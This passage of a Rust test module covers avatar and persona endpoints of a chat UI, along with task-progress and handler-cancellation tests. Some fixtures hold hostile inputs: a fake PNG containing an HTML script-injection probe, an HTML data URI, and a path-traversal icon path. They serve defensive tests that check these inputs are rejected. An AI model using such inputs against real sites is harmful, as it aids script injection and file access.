14310            assert!(save_magi_icon(home.path(), &bad).is_err());
14311            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14312        }
14313        // Re-opened server state reads the same independent home file.
14314        let restarted = Arc::new(Ui::new(
14315            Queue::at(home.path().join("queue")),
14316            Questions::at(home.path().join("questions")),
14317            Talks::at(home.path().join("talks")),
14318            home.path().join("runs"),
14319            home.path().to_path_buf(),
14320            repo,
14321        ));
14322        assert_eq!(
14323            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14324            changed
14325        );
14326        let view = TalkView::with_config(
14327            restarted.talks.get(&id).unwrap(),
14328            false,
14329            None,
14330            &restarted.home,
14331            &restarted.references,
14332        );
14333        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14334        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14335        let response = magi_avatar(
14336            State(ui.clone()),
14337            Query(AvatarQuery {
14338                persona: None,
14339                builtin: None,
14340            }),
14341        )
14342        .await;
14343        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14344            .await
14345            .unwrap();
14346        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14347        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14348        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14349        let _ = magi_icon_delete(State(ui)).await.unwrap();
14350    }
14351
14352    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14353    async fn avatar(
14354        ui: &Arc<Ui>,
14355        id: &str,
14356        persona: Option<&str>,
14357        builtin: bool,
14358    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14359        let res = talk_avatar(
14360            State(Arc::clone(ui)),
14361            Path(id.to_owned()),
14362            Query(AvatarQuery {
14363                persona: persona.map(str::to_owned),
14364                builtin: builtin.then(|| "1".to_owned()),
14365            }),
14366        )
14367        .await
14368        .expect("an avatar is never an error response");
14369        let h = res.headers();
14370        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14371        let nosniff = h
14372            .get(header::X_CONTENT_TYPE_OPTIONS)
14373            .is_some_and(|v| v == "nosniff");
14374        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14375        let status = res.status();
14376        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14377            .await
14378            .expect("body")
14379            .to_vec();
14380        (status, ct, nosniff, csp, body)
14381    }
14382
14383    fn tiny_png() -> Vec<u8> {
14384        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14385        b.extend_from_slice(&[0u8; 32]);
14386        b
14387    }
14388
14389    #[tokio::test]
14390    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14391        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14392        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14393        assert_eq!(res.status(), StatusCode::OK);
14394        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14395        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14396        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14397        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14398        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14399            .await
14400            .unwrap();
14401        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14402        assert_ne!(
14403            persona_icon::operator_svg(),
14404            persona_icon::builtin_svg("default")
14405        );
14406    }
14407
14408    #[tokio::test]
14409    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14410        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14411        for p in [
14412            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14413        ] {
14414            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14415            assert_eq!(status, StatusCode::OK, "{p}");
14416            assert_eq!(ct, "image/svg+xml", "{p}");
14417            assert!(nosniff && csp, "{p}");
14418            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14419        }
14420        // No `persona` means the conversation's own; unknown ones fall back.
14421        let own = avatar(&ui, &id, None, false).await;
14422        let default = avatar(&ui, &id, Some("default"), false).await;
14423        assert_eq!(own.4, default.4);
14424        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14425        assert_eq!(unknown.1, "image/svg+xml");
14426    }
14427
14428    #[tokio::test]
14429    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14430        let dir = TempDir::new().expect("icons");
14431        let good = dir.path().join("good.png");
14432        std::fs::write(&good, tiny_png()).unwrap();
14433        let spoof = dir.path().join("spoof.png");
14434        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14435        let big = dir.path().join("big.png");
14436        let mut bytes = tiny_png();
14437        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14438        std::fs::write(&big, bytes).unwrap();
14439        let missing = dir.path().join("missing.png");
14440        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14441        let extra = format!(
14442            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14443             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14444             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14445             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14446             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14447             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14448            uri(&good),
14449            uri(&spoof),
14450            uri(&big),
14451            uri(&missing),
14452        );
14453        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14454
14455        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14456        assert_eq!(
14457            (status, ct.as_str(), nosniff),
14458            (StatusCode::OK, "image/png", true)
14459        );
14460        assert_eq!(body, tiny_png());
14461        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14462        assert_eq!(ct, "image/png", "data URI");
14463
14464        for p in ["misato", "asuka", "shinji", "magi"] {
14465            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14466            assert_eq!(
14467                (status, ct.as_str(), csp),
14468                (StatusCode::OK, "image/svg+xml", true),
14469                "{p}"
14470            );
14471            assert!(body.starts_with(b"<svg"), "{p}");
14472        }
14473        // The page's own retry skips the icon.
14474        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14475        assert_eq!(ct, "image/svg+xml");
14476    }
14477
14478    #[tokio::test]
14479    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14480        let oversized = format!(
14481            "data:image/png;base64,{}",
14482            "A".repeat(persona_icon::ICON_MAX_BYTES)
14483        );
14484        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14485            let extra = format!(
14486                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14487            );
14488            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14489            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14490                .await
14491                .expect("detail with invalid icon");
14492            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14493            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14494            assert_eq!(status, StatusCode::OK);
14495            assert_eq!(ct, "image/svg+xml");
14496            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14497            let Json(view) = talk_persona(
14498                State(Arc::clone(&ui)),
14499                Path(id.clone()),
14500                Json(TalkPersona {
14501                    persona: "custom".into(),
14502                }),
14503            )
14504            .await
14505            .expect("persona switch with invalid icon");
14506            assert_eq!(view.talk.persona, "custom");
14507            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14508        }
14509    }
14510
14511    #[tokio::test]
14512    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14513        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14514        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14515        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14516        assert_eq!(
14517            (status, ct.as_str(), nosniff, csp),
14518            (StatusCode::OK, "image/svg+xml", true, true)
14519        );
14520    }
14521
14522    #[tokio::test]
14523    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14524        let (_t, _h, ui, id, _repo) =
14525            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14526        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14527            .await
14528            .expect("detail");
14529        let json = serde_json::to_string(&detail).unwrap();
14530        assert!(
14531            !json.contains("secret"),
14532            "the icon setting must not leak: {json}"
14533        );
14534        assert!(
14535            detail
14536                .view
14537                .persona_avatar
14538                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14539        );
14540        assert_eq!(
14541            detail.view.operator_avatar,
14542            format!(
14543                "/avatars/operator.svg?v={}",
14544                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14545            )
14546        );
14547        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14548        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14549        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14550        assert!(rei.avatar.contains("persona=rei&v="));
14551        assert_ne!(
14552            rei.avatar.split("&v=").nth(1),
14553            plain.avatar.split("&v=").nth(1)
14554        );
14555    }
14556
14557    #[tokio::test]
14558    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14559        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14560        let cfg = config_for(&repo).await.unwrap();
14561        for arrived in [false, true] {
14562            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14563            let observed = ui.queued_generation(&id);
14564            let talk = ui.talks.get(&id).unwrap();
14565            if arrived {
14566                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14567            }
14568            let mut settling = std::pin::pin!(settle_settings_turn(
14569                talk,
14570                ui.talks.clone(),
14571                cfg.clone(),
14572                id.clone(),
14573                turn,
14574                observed
14575            ));
14576            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14577            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14578            assert_eq!(first.is_pending(), arrived);
14579            if arrived {
14580                assert!(!settling.await);
14581            }
14582            assert!(!ui.is_thinking(&id));
14583        }
14584    }
14585
14586    #[tokio::test]
14587    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14588        let tmp = TempDir::new().expect("tempdir");
14589        let repo = tmp.path().join("repo");
14590        std::fs::create_dir_all(&repo).expect("repo dir");
14591        std::fs::write(
14592            repo.join("magi.toml"),
14593            format!(
14594                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14595            ),
14596        )
14597        .expect("write magi.toml");
14598        let home = TempDir::new().expect("temp home");
14599        let talks = Talks::at(home.path().join("talks"));
14600        let ui = Arc::new(
14601            Ui::new(
14602                Queue::at(home.path().join("queue")),
14603                Questions::at(home.path().join("questions")),
14604                talks.clone(),
14605                home.path().join("runs"),
14606                home.path().to_path_buf(),
14607                repo.clone(),
14608            )
14609            .with_worktrees_root(home.path().join("wt")),
14610        );
14611        let cfg = config_for(&repo).await.expect("discover config");
14612        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14613        let id = talk.id.clone();
14614        let call = |persona: &str| {
14615            talk_persona(
14616                State(Arc::clone(&ui)),
14617                Path(id.clone()),
14618                Json(TalkPersona {
14619                    persona: persona.to_owned(),
14620                }),
14621            )
14622        };
14623
14624        let unknown = call("nobody").await.expect_err("unknown persona");
14625        assert_eq!(
14626            unknown.status,
14627            StatusCode::BAD_REQUEST,
14628            "{}",
14629            unknown.message
14630        );
14631
14632        {
14633            // Nothing refused so far took a claim, so the guard is free to take
14634            // and holding it is what makes the talk busy.
14635            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14636            let busy = call("rei").await.expect_err("busy talk");
14637            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14638            assert!(
14639                busy.message.contains("a talk turn is running"),
14640                "{}",
14641                busy.message
14642            );
14643            drop(guard);
14644        }
14645        assert_eq!(talks.get(&id).expect("reload").persona, "");
14646
14647        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14648        assert_eq!(view.talk.persona, "gendo");
14649        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14650        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14651        // No intervening I/O or sleep may be needed before another change.
14652        for chosen in ["default", "gendo", "rei", "gendo"] {
14653            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14654            assert!(!view.thinking);
14655            assert!(!ui.is_thinking(&id));
14656        }
14657
14658        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14659            .await
14660            .expect("detail");
14661        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14662        assert_eq!(ids.first(), Some(&"default"));
14663        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14664
14665        let Json(view) = call("default").await.expect("back to default");
14666        assert_eq!(view.talk.persona, "");
14667
14668        let mut closed = talks.get(&id).expect("reload");
14669        talk::close(&mut closed, &talks).expect("close");
14670        let refused = call("rei").await.expect_err("closed talk");
14671        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14672        assert!(
14673            refused.message.contains("takes no more turns"),
14674            "{}",
14675            refused.message
14676        );
14677    }
14678
14679    #[tokio::test]
14680    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14681        let f = Fixture::start().await;
14682        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14683        let queue = f.queue();
14684        let mut mine = Task::new(
14685            "rename the loader".to_owned(),
14686            "rename the loader".to_owned(),
14687            PathBuf::from("/repo/magi"),
14688            Source::Agent {
14689                run: talk_id.clone(),
14690                node: "chat".to_owned(),
14691            },
14692        );
14693        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14694        assert_eq!(empty["task_progress"]["state"], "none");
14695        assert_eq!(empty["task_progress"]["total"], 0);
14696        queue.put(&mut mine).expect("file the task");
14697        let mut theirs = Task::new(
14698            "unrelated".to_owned(),
14699            "unrelated".to_owned(),
14700            PathBuf::from("/repo/magi"),
14701            Source::Human,
14702        );
14703        // A later task linked through origin_chat alone is outside this list.
14704        theirs.origin_chat = Some(talk_id.clone());
14705        queue.put(&mut theirs).expect("file the task");
14706
14707        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14708        assert_eq!(res.status, 200, "{}", res.body);
14709        let body = res.json();
14710        assert_eq!(
14711            body["status"], "open",
14712            "filing a task does not close a talk"
14713        );
14714        let tasks = body["tasks"].as_array().expect("tasks array");
14715        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14716        assert_eq!(tasks[0]["id"], mine.id);
14717        for status in [
14718            TaskStatus::Queued,
14719            TaskStatus::Running,
14720            TaskStatus::Held,
14721            TaskStatus::Failed,
14722            TaskStatus::Blocked,
14723            TaskStatus::Parked,
14724            TaskStatus::Done,
14725            TaskStatus::Queued,
14726        ] {
14727            mine.status = status;
14728            queue.put(&mut mine).expect("update status");
14729            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14730            let progress = &detail["task_progress"];
14731            assert_eq!(progress["total"], 1);
14732            assert_eq!(progress["counts"][status.as_str()], 1);
14733            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14734            assert_eq!(detail["status"], "open", "completion never closes the chat");
14735            if status == TaskStatus::Done {
14736                assert_eq!(progress["state"], "complete");
14737                assert_eq!(progress["done"], 1);
14738                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14739            } else {
14740                assert_eq!(progress["state"], "incomplete");
14741                assert_eq!(progress["done"], 0);
14742                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14743            }
14744        }
14745    }
14746
14747    #[test]
14748    fn talk_task_progress_counts_mixed_statuses() {
14749        let mut tasks: Vec<_> = [
14750            TaskStatus::Queued,
14751            TaskStatus::Running,
14752            TaskStatus::Held,
14753            TaskStatus::Failed,
14754            TaskStatus::Blocked,
14755            TaskStatus::Parked,
14756            TaskStatus::Done,
14757        ]
14758        .into_iter()
14759        .map(|status| {
14760            let mut task = Task::new(
14761                "task".into(),
14762                "task".into(),
14763                PathBuf::from("/repo"),
14764                Source::Human,
14765            );
14766            task.status = status;
14767            task
14768        })
14769        .collect();
14770        let progress = talk_task_progress(&tasks);
14771        assert_eq!(progress.state, "incomplete");
14772        assert_eq!(progress.total, 7);
14773        assert_eq!(progress.done, 1);
14774        assert_eq!(progress.unfinished_ids.len(), 6);
14775        assert!(progress.counts.values().all(|count| *count == 1));
14776        assert_eq!(
14777            progress.unfinished_ids,
14778            tasks[..6]
14779                .iter()
14780                .map(|task| task.id.clone())
14781                .collect::<Vec<_>>()
14782        );
14783
14784        for task in &mut tasks {
14785            task.status = TaskStatus::Done;
14786        }
14787        let complete = talk_task_progress(&tasks);
14788        assert_eq!(complete.state, "complete");
14789        assert_eq!(complete.done, 7);
14790        assert!(complete.unfinished_ids.is_empty());
14791        tasks[0].status = TaskStatus::Queued;
14792        let requeued = talk_task_progress(&tasks);
14793        assert_eq!(requeued.state, "incomplete");
14794        assert_eq!(requeued.done, 6);
14795        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14796
14797        let empty = talk_task_progress(&[]);
14798        assert_eq!(empty.state, "none");
14799        assert_eq!(empty.total, 0);
14800        assert_eq!(empty.done, 0);
14801        assert!(empty.unfinished_ids.is_empty());
14802        assert!(empty.counts.values().all(|count| *count == 0));
14803    }
14804
14805    #[tokio::test]
14806    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14807        let (_tmp, _repo, f) = talk_fixture().await;
14808        let id = f.post("/api/talks", None).await.json()["id"]
14809            .as_str()
14810            .expect("id")
14811            .to_owned();
14812
14813        let res = f
14814            .post(
14815                &format!("/api/talks/{id}/say"),
14816                Some(r#"{"text":"what does the queue module do?"}"#),
14817            )
14818            .await;
14819        assert_eq!(res.status, 202, "{}", res.body);
14820        let queued = res.json();
14821        let turns = queued["turns"].as_array().expect("turns array");
14822        assert_eq!(
14823            turns.len(),
14824            1,
14825            "the answer reflects only what is on disk the instant it is sent, \
14826             before the agent's turn - which can run for the whole of \
14827             `[graph] timeout_talk` - has a chance to land: {queued}"
14828        );
14829        assert_eq!(turns[0]["who"], "operator");
14830        assert_eq!(turns[0]["body"], "what does the queue module do?");
14831        assert_eq!(
14832            queued["thinking"], true,
14833            "the accepted response exposes the background turn claim: {queued}"
14834        );
14835
14836        let mut turns_after = 1;
14837        for _ in 0..SETTLE_STEPS {
14838            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14839            turns_after = detail["turns"].as_array().expect("turns array").len();
14840            if turns_after == 2 {
14841                break;
14842            }
14843            tokio::time::sleep(Duration::from_millis(10)).await;
14844        }
14845        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14846    }
14847
14848    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14849    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14850    /// guards against: `talk::record` used to return, and only *then* did the
14851    /// handler make a second, separate disk round trip before spawning the
14852    /// agent's reply task. A future dropped in that gap left a message
14853    /// recorded on disk with no reply task ever started and no way back short
14854    /// of a fresh message - and the gap was not even the whole story: *any*
14855    /// `.await` in this handler, including the very first one, is a point
14856    /// where a drop can land after the awaited work already finished but
14857    /// before this handler's own code resumes to act on it. `record` now
14858    /// runs inside the task `tokio::spawn` hands to the runtime before this
14859    /// handler ever awaits anything of its own again, so there is nothing
14860    /// left in *this* handler's future for a disconnect to interrupt between
14861    /// the message landing on disk and the reply task starting.
14862    ///
14863    /// A real socket disconnect cannot be relied on to land in the old gap
14864    /// from a test - over loopback, `talk_say` typically finishes before the
14865    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14866    /// same failure mode directly: it drops the task's future at whatever
14867    /// point it has reached, exactly what axum does to the handler future,
14868    /// without needing to win a real network race. Sweeping the delay before
14869    /// aborting samples a range of points the task's execution can be at,
14870    /// including where the old code sat waiting on its second disk round
14871    /// trip - confirmed by reverting this fix locally and watching this same
14872    /// sweep catch a talk stuck with the operator's turn recorded and no
14873    /// reply ever following.
14874    #[tokio::test]
14875    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14876        let tmp = TempDir::new().expect("tempdir");
14877        let repo = tmp.path().join("repo");
14878        std::fs::create_dir_all(&repo).expect("repo dir");
14879        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14880        let home = TempDir::new().expect("temp home");
14881        let talks = Talks::at(home.path().join("talks"));
14882        let ui = Arc::new(
14883            Ui::new(
14884                Queue::at(home.path().join("queue")),
14885                Questions::at(home.path().join("questions")),
14886                talks.clone(),
14887                home.path().join("runs"),
14888                home.path().to_path_buf(),
14889                repo.clone(),
14890            )
14891            .with_worktrees_root(home.path().join("wt")),
14892        );
14893        let cfg = config_for(&repo).await.expect("discover config");
14894
14895        for delay in 0..40u32 {
14896            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14897            let id = talk.id.clone();
14898
14899            let handler = tokio::spawn(talk_say(
14900                State(Arc::clone(&ui)),
14901                Path(id.clone()),
14902                Ok(Json(NewTalkTurn {
14903                    reply_to: None,
14904                    text: "what does the queue module do?".to_owned(),
14905                    attachments: Vec::new(),
14906                })),
14907            ));
14908            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14909            handler.abort();
14910            // Wait out the abort so the next iteration's talk does not race
14911            // this one's still-unwinding turn guard.
14912            let _ = handler.await;
14913
14914            let mut turns = 0;
14915            for _ in 0..SETTLE_STEPS {
14916                if let Ok(fresh) = talks.get(&id) {
14917                    turns = fresh.turns.len();
14918                    if turns != 1 {
14919                        break;
14920                    }
14921                }
14922                tokio::time::sleep(Duration::from_millis(10)).await;
14923            }
14924            assert_ne!(
14925                turns, 1,
14926                "delay {delay}: talk {id} recorded the operator's turn but \
14927                 the agent never answered - the reply task was never \
14928                 started after the handler future was dropped"
14929            );
14930        }
14931    }
14932
14933    /// The same drop, landing on `talk_say`'s other durable write.
14934    ///
14935    /// When a turn is already running, the busy branch persists the
14936    /// operator's text as a queued draft and then reclaims the turn slot if
14937    /// the holder gave it up in the meantime - and whoever reclaims owes that
14938    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14939    /// which finishes whether or not the future awaiting it is still there,
14940    /// so a handler dropped at that `.await` used to leave the draft written
14941    /// to disk with the reclaimed guard dropped unread and no drainer ever
14942    /// started: the message sat queued until some unrelated later `say`
14943    /// happened to pick it up.
14944    ///
14945    /// This used to drive the handler future by hand, polling it a fixed
14946    /// number of times to park it at the `.await` where it asks for the turn
14947    /// and finds it busy, before the reclaim's slot-free case could be set up
14948    /// underneath it. That assumed a fixed number of polls lands at a fixed
14949    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14950    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14951    /// poll, so any number of this handler's several `blocking` awaits can
14952    /// collapse into one poll under load, landing the drive somewhere other
14953    /// than intended - including, occasionally, straight past the handler's
14954    /// own completion, which made polling it again panic with "async fn
14955    /// resumed after completion". No poll count fixes that; the handler's
14956    /// progress simply is not something a caller outside it can observe by
14957    /// counting.
14958    ///
14959    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14960    /// inside the write itself, so the interleaving under test is pinned by
14961    /// an event instead of a guess: the gate fires only once the handler has
14962    /// actually decided `Busy` and is about to persist the draft, and it
14963    /// blocks that write until the test lets it through. Between those two
14964    /// moments the test drains the turn the handler found busy - through
14965    /// `drain_loop`, the protocol's other half - and then aborts the handler
14966    /// task outright, the same way axum drops a disconnected request's
14967    /// future. The write, and the reclaim it may do, run to completion
14968    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14969    /// to the runtime before ever touching the gate, wholly independent of
14970    /// whether the handler that started it is still around - which is what
14971    /// this test is actually checking. A drainer other than that reclaim
14972    /// cannot exist here: the test's own `drain_loop` call happens before the
14973    /// gate opens, so it runs while the queue is still empty and hands the
14974    /// turn straight back rather than draining anything, closing off the
14975    /// possibility of the final assertion passing without the reclaim ever
14976    /// having done its job.
14977    #[tokio::test]
14978    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14979        let tmp = TempDir::new().expect("tempdir");
14980        let repo = tmp.path().join("repo");
14981        std::fs::create_dir_all(&repo).expect("repo dir");
14982        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14983        let home = TempDir::new().expect("temp home");
14984        let talks = Talks::at(home.path().join("talks"));
14985        let ui = Arc::new(
14986            Ui::new(
14987                Queue::at(home.path().join("queue")),
14988                Questions::at(home.path().join("questions")),
14989                talks.clone(),
14990                home.path().join("runs"),
14991                home.path().to_path_buf(),
14992                repo.clone(),
14993            )
14994            .with_worktrees_root(home.path().join("wt")),
14995        );
14996        let cfg = config_for(&repo).await.expect("discover config");
14997
14998        for attempt in 0..3u32 {
14999            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15000            let id = talk.id.clone();
15001            // A turn is already running, which is what sends `talk_say` down
15002            // the busy branch.
15003            let turn_guard = ui
15004                .begin_talk_turn(&id)
15005                .expect("claim the turn")
15006                .expect("a fresh talk owes nobody a turn");
15007
15008            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15009            let (release_tx, release_rx) = std::sync::mpsc::channel();
15010            ui.set_busy_queue_gate(BusyQueueGate {
15011                reached: reached_tx,
15012                release: release_rx,
15013            });
15014
15015            let handler = tokio::spawn(talk_say(
15016                State(Arc::clone(&ui)),
15017                Path(id.clone()),
15018                Ok(Json(NewTalkTurn {
15019                    reply_to: None,
15020                    text: "what does the queue module do?".to_owned(),
15021                    attachments: Vec::new(),
15022                })),
15023            ));
15024
15025            // Wait for the busy branch to actually reach the gate, rather
15026            // than for any fixed number of polls of anything - a bounded
15027            // wait rather than a bare `.await` so a regression that never
15028            // reaches the gate fails the test instead of hanging it.
15029            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15030                .await
15031                .unwrap_or_else(|_| {
15032                    panic!(
15033                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15034                    )
15035                })
15036                .expect("the busy branch dropped the gate without using it");
15037            assert!(
15038                crate::consult::try_publication_guard(&talks, &id)
15039                    .expect("publication fence")
15040                    .is_none(),
15041                "a queued worker cannot promote text before its successor reservation is published"
15042            );
15043
15044            // A listener replacement queues its writer behind this accepted
15045            // mutation. Even disconnecting the HTTP caller must not release
15046            // admission before the write-to-worker handoff has completed.
15047            let closing = Arc::clone(&ui.admissions).write_owned();
15048            tokio::pin!(closing);
15049            std::future::poll_fn(|cx| {
15050                assert!(closing.as_mut().poll(cx).is_pending());
15051                std::task::Poll::Ready(())
15052            })
15053            .await;
15054            assert!(
15055                ui.begin_admission().is_err(),
15056                "replacement blocks later admissions"
15057            );
15058
15059            // The turn that was running now finishes and gives the slot up
15060            // the way a real one does - through `drain_loop`, which finds
15061            // nothing queued yet (the write is still held at the gate) and
15062            // releases. The handler, parked inside `spawn_blocking` on the
15063            // other side of the gate, still believes the talk is busy -
15064            // exactly the interleaving the reclaim exists for.
15065            let running = talks.get(&id).expect("reload talk");
15066            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15067
15068            // Drop the handler future now, the way a reloading phone drops
15069            // it: suspended waiting on the busy branch's answer, having
15070            // itself made no more progress since it handed the write off.
15071            handler.abort();
15072            let _ = handler.await;
15073            std::future::poll_fn(|cx| {
15074                assert!(
15075                    closing.as_mut().poll(cx).is_pending(),
15076                    "HTTP cancellation must not abandon a publishing transaction"
15077                );
15078                std::task::Poll::Ready(())
15079            })
15080            .await;
15081            assert!(
15082                crate::consult::try_publication_guard(&talks, &id)
15083                    .expect("publication fence after disconnect")
15084                    .is_none()
15085            );
15086
15087            // Only now let the gated write proceed. It persists the draft
15088            // and reclaims the now-free slot from inside the task the busy
15089            // branch already spawned - unaffected by the handler's abort
15090            // above, since that task was independent of the handler's own
15091            // future from the moment it was spawned.
15092            let _ = release_tx.send(());
15093            drop(
15094                tokio::time::timeout(Duration::from_secs(5), closing)
15095                    .await
15096                    .expect("short admission transaction should release for replacement"),
15097            );
15098            assert!(
15099                crate::consult::try_publication_guard(&talks, &id)
15100                    .expect("publication fence after acknowledgement")
15101                    .is_some(),
15102                "the publication fence is not retained by the long response"
15103            );
15104
15105            // A settled talk: the draft drained into an operator turn and
15106            // answered.
15107            let mut fresh = talks.get(&id).expect("reload talk");
15108            for _ in 0..SETTLE_STEPS {
15109                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15110                    break;
15111                }
15112                tokio::time::sleep(Duration::from_millis(10)).await;
15113                fresh = talks.get(&id).expect("reload talk");
15114            }
15115            assert!(
15116                fresh.pending.is_empty() && fresh.turns.len() == 2,
15117                "attempt {attempt}: talk {id} left the operator's text queued \
15118                 with no drainer - the reclaimed turn was dropped along with \
15119                 the handler future (pending {:?}, {} turns)",
15120                fresh.pending,
15121                fresh.turns.len()
15122            );
15123        }
15124    }
15125
15126    #[tokio::test]
15127    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15128        let (_tmp, _repo, f) = talk_fixture().await;
